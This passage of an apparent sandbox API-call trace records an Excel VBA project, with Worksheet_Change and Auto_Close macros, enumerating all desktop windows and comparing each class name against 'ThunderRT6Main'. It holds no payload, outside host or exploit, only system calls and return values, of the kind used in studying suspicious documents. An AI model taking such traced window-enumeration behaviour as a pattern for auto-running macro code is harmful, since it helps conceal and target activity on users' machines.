lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0159.624] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0159.624] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0159.624] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0159.624] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0159.624] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0159.625] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0159.625] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0159.625] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0159.625] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0159.625] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0159.625] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0159.625] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0159.625] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0159.625] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0159.625] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0159.625] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0159.625] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0159.625] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0159.625] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0159.625] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.625] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.625] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0159.625] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0159.625] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0159.625] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0159.625] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0159.625] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0159.625] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.625] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.625] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0159.625] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0159.625] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0159.625] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0159.625] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0159.625] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0159.625] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.625] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.625] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0159.625] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0159.625] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.625] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.625] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0159.625] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0159.626] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.626] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.626] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0159.626] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0159.626] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0159.626] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0159.626] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.626] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0159.626] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.626] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.626] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.626] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0159.626] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.626] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.626] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0159.626] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0159.626] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.626] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.626] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.626] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0159.626] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0159.626] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0159.626] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.626] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0159.626] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0159.626] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0159.626] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.626] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0159.626] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.626] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.626] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.626] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0159.626] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.626] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.626] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.626] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0159.626] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.626] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.626] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.626] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0159.627] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0159.627] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0159.627] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.627] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0159.627] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0159.627] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0159.627] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.627] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0159.627] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.627] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.627] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0159.627] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0159.627] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.627] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.627] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.627] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0159.627] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.627] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.627] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.627] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0159.627] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.627] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.627] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.627] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0159.627] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0159.627] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0159.627] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.627] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0159.627] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0159.627] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0159.627] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0159.627] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0159.627] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.627] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.627] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0159.627] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0159.627] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0159.627] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0159.627] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0159.627] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0159.627] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.627] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.627] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0159.627] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0159.627] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0159.627] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0159.627] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.627] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0159.627] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0159.627] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0159.627] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.627] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0159.627] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0159.628] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0159.628] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.628] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0159.628] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.628] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.628] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.628] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0159.628] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0159.628] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0159.628] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0159.628] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0159.628] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0159.628] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0159.628] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0159.628] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0159.628] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.628] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.628] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0159.628] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0159.628] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.628] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.628] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0159.628] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0159.628] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0159.628] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0159.628] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0159.628] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0159.628] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0159.628] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0159.628] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.628] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0159.628] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x5965430 [0159.628] IMalloc:Free (This=0x7fefe465380, pv=0x5965430) [0159.659] _mbscpy_s (in: _Dst=0x20aeb0, _DstSizeInBytes=0x11, _Src=0x5d10546 | out: _Dst=0x20aeb0) returned 0x0 [0159.659] _mbscpy_s (in: _Dst=0x20aeba, _DstSizeInBytes=0x7, _Src=0x20b060 | out: _Dst=0x20aeba) returned 0x0 [0159.659] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0159.660] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0159.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0159.660] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0159.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=11, lpWideCharStr=0xb732448, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0159.660] strncpy_s (in: _Dst=0x61801f0, _DstSize=0x19, _Src="[VBAProject].Auto_Close", _MaxCount=0x17 | out: _Dst="[VBAProject].Auto_Close") returned 0x0 [0159.660] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0159.660] bsearch (_Key=0x209ff8, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x0 [0159.660] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0159.660] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 3 [0159.660] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 2 [0159.660] bsearch (_Key=0x209ff8, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x0 [0159.660] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Close", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0159.660] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Close", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0159.684] GetCurrentThreadId () returned 0xa30 [0159.684] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0159.684] GetDesktopWindow () returned 0x10010 [0159.684] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0159.684] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0159.684] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0159.684] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.684] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0159.684] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.684] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.684] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.684] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0159.684] GetClassNameA (in: hWnd=0x10098, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.684] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.684] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.684] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0159.684] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.685] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.685] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.685] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0159.685] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.685] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.685] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.685] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0159.685] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.685] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.685] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.685] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0159.685] GetClassNameA (in: hWnd=0x10094, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.685] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.685] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.685] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0159.685] GetClassNameA (in: hWnd=0x10096, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.685] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.685] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.685] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0159.685] GetClassNameA (in: hWnd=0x10076, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0159.685] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0159.685] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.685] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0159.685] GetClassNameA (in: hWnd=0x10070, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0159.685] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0159.685] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.685] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0159.685] GetClassNameA (in: hWnd=0x10056, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.685] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.685] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.685] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0159.685] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0159.685] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0159.685] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.685] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0159.685] GetClassNameA (in: hWnd=0x10142, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0159.685] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0159.685] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0159.685] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0159.685] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.685] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.685] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0159.685] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0159.685] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0159.685] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0159.685] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0159.685] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0159.685] GetClassNameA (in: hWnd=0x10112, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.685] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.685] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.685] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0159.685] GetClassNameA (in: hWnd=0x10104, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.685] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.686] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.686] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0159.686] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.686] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.686] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) 